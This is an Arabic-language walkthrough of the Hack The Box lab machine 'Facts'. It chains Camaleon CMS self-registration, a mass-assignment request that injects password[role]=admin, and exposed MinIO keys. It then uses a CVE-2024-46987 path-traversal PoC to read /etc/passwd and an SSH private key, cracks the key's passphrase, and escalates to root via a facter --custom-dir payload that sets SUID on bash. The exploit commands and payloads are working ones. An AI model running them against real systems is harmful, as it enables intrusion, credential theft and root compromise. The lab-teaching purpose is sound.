
HTB Facts هو صندوق Linux سهل المستوى يضم Camaleon CMS و MinIO. احصل على وصول المسؤول عبر التسجيل المفتوح وثغرة التعيين الجماعي، ثم استخرج بيانات اعتماد MinIO من إعدادات المسؤول. استخدم ثغرة اجتياز المسار CVE-2024-46987 لسرقة مفتاح SSH الخاص، واقتحام عبارة المرور الخاصة به، والتصعيد إلى صلاحيات الجذر عبر استغلال صلاحيات sudo على facter باستخدام GTFOBins.
الصعوبة: متوسط
نظام التشغيل: Linux
الوسوم: Web, MinIO, Camaleon CMS, Path Traversal, SSTI, Privilege Escalation
ابدأ بفحص شامل لمنافذ TCP لتحديد الخدمات المفتوحة.
nmap -p- --min-rate 5000 -T4 10.129.244.96
النتائج:
| المنفذ | الخدمة | ملاحظات |
|---|---|---|
| 22 | SSH | OpenSSH |
| 80 | HTTP | Nginx 1.26.3 (Ubuntu) |
| 54321 | غير معروف | تم التعرف عليه كـ MinIO |
أضف الهدف إلى /etc/hosts:
echo "10.129.244.96 facts.htb" >> /etc/hosts
تصفّح http://facts.htb يكشف عن موقع معلومات عامة مبني على Camaleon CMS (Ruby on Rails). المؤشرات الرئيسية:
_factsapp_session (جلسة Rails)/assets/themes/camaleon_first/nginx/1.26.3 (Ubuntu)عدد خريطة الموقع لجميع الصفحات المتاحة:
curl -s http://facts.htb/sitemap.xml
مسارات بارزة تم اكتشافها:
/admin → يعيد التوجيه إلى /admin/login/rss/animal-ejected, /anne-frank, إلخ.افحص لوحة تسجيل دخول المسؤول:
curl -v http://facts.htb/admin
# → 302 redirect to /admin/login
اختبار المنفذ غير المعروف باستخدام curl يكشف عن MinIO، وهي خدمة تخزين كائنات متوافقة مع S3:
curl -v http://facts.htb:54321
الاستجابة:
<Error>
<Code>AccessDenied</Code>
<Message>Access Denied.</Message>
</Error>
تؤكد الترويسات: Server: MinIO
عدد أسماء الحاويات (Buckets) المحتملة (جميعها تُرجع 403، مما يؤكد وجودها):
for bucket in facts backup uploads media files images data private secret admin internal; do
code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
echo "$bucket: $code"
done
جميعها تُرجع 403 Forbidden — الحاويات موجودة ولكنها تتطلب بيانات اعتماد.
من مسارات الأصول وكوكيز الجلسة، تم التعرف على نظام CMS باسم Camaleon CMS.
افحص الثغرات المعروفة:
searchsploit camaleon
النتائج:
Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI) | ruby/webapps/51489.txt
تم تأكيد إصدار لوحة المسؤول كـ 2.9.0 (ظاهر في التذييل بعد تسجيل الدخول).
تحتوي صفحة تسجيل دخول المسؤول على http://facts.htb/admin/login على رابط "إنشاء حساب". سجّل حسابًا جديدًا:
http://facts.htb/admin/users/sign_uptest123 / test123)Clientبعد التسجيل، سجّل الدخول إلى لوحة تحكم المسؤول. يمتلك الحساب صلاحيات Client محدودة.
Camaleon CMS عرضة لهجوم الإسناد الجماعي على نقطة تغيير كلمة المرور. من خلال اعتراض طلب تغيير كلمة المرور وحقن معامل password[role]، يمكن للمهاجم تصعيد دوره إلى admin.
الخطوات باستخدام Burp Suite:
Client.&password[role]=admin إلى نص الطلب:_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
200 OK.أصبح الحساب الآن بصلاحيات admin، مما يمنح وصولًا كاملًا إلى لوحة إدارة CMS بما في ذلك Settings وMedia وFilesystem Settings.
بصلاحيات المسؤول، انتقل إلى:
Settings → General Site → Filesystem Settings
تكشف الصفحة عن بيانات اعتماد MinIO (متوافقة مع AWS S3) مضمّنة في الكود:
AWS S3 Access Key: AKIA59D605615FFC8875
AWS S3 Secret Key: O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name: randomfacts
AWS S3 Region: us-east-1
AWS S3 Endpoint: http://localhost:54321
قم بإعداد AWS CLI وعدد الحاويات:
export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'
aws s3 ls --endpoint-url http://facts.htb:54321
الحاويات المكتشفة:
2025-09-11 internal
2025-09-11 randomfacts
تحتوي حاوية internal على الدليل الرئيسي لمستخدم trivia:
aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321
# Download the SSH private key
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321
بدلاً من ذلك، يمكن استرجاع مفتاح SSH الخاص عبر CVE-2024-46987، وهي ثغرة اجتياز مسار (Path Traversal) تتطلب مصادقة في Camaleon CMS تسمح بقراءة ملفات الخادم العشوائية.
استنسخ الـ PoC العام:
git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987
اقرأ الملفات الحساسة:
# Step 1: Read /etc/passwd to enumerate system users
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd
الخرج (الأسطر ذات الصلة):
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
تم تحديد مستخدمين: trivia وwilliam. نظرًا لأن trivia يملك قشرة تسجيل دخول ودليلًا رئيسيًا، افحص عن مفتاح SSH خاص:
# Step 2: Read trivia's SSH private key
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519
احفظ مخرجات المفتاح في ملف:
chmod 600 id_ed25519
مفتاح SSH الخاص مشفّر بعبارة مرور. استخدم ssh2john وjohn لكسرها:
ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
عبارة المرور التي تم كسرها: dragonballz
ssh -i id_ed25519 [email protected]
# Enter passphrase: dragonballz
استرجع علم المستخدم:
cat /home/william/user.txt
افحص صلاحيات sudo لمستخدم trivia:
sudo -l
الخرج:
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
يمكن للمستخدم تشغيل /usr/bin/facter كجذر بدون كلمة مرور. facter هي أداة معلومات نظام مبنية على Ruby.
وفقًا لـ GTFOBins، يمكن لـ facter تحميل ملفات Ruby المخصصة عبر --custom-dir، ويتم تنفيذها كمستخدم يشغّل الأمر (الجذر في هذه الحالة).
الاستغلال:
# Create exploit directory and Ruby payload
mkdir -p /tmp/exploit_facts
cat > /tmp/exploit_facts/evil.rb << 'EOF'
system("chmod +s /bin/bash")
EOF
# Execute facter as root with the custom directory
sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts/ x
# Verify SUID bit is set on bash
ls -la /bin/bash
# -rwsr-sr-x 1 root root ...
# Spawn root shell
/bin/bash -p
whoami
# root
cat /root/root.txt
| العلم | الموقع |
|---|---|
| user.txt | /home/william/user.txt |
| root.txt | /root/root.txt |
Nmap Scan
↓
Port 80: Camaleon CMS 2.9.0
↓
Register Client Account → Admin Panel
↓
Mass Assignment: password[role]=admin → Admin Role
↓
Admin Settings → MinIO Credentials Exposed
↓
CVE-2024-46987: Path Traversal → Read /home/trivia/.ssh/id_ed25519
↓
ssh2john + John → Passphrase: dragonballz
↓
SSH Login as trivia
↓
sudo facter --custom-dir (GTFOBins) → chmod +s /bin/bash
↓
/bin/bash -p → root
| CVE | الوصف |
|---|---|
| CVE-2024-46987 | اجتياز مسار يتطلب مصادقة / قراءة ملفات عشوائية في Camaleon CMS |
| CVE-2023-30145 | Camaleon CMS v2.7.0 SSTI عبر معامل formats (غير مستخدم في هذا الجهاز) |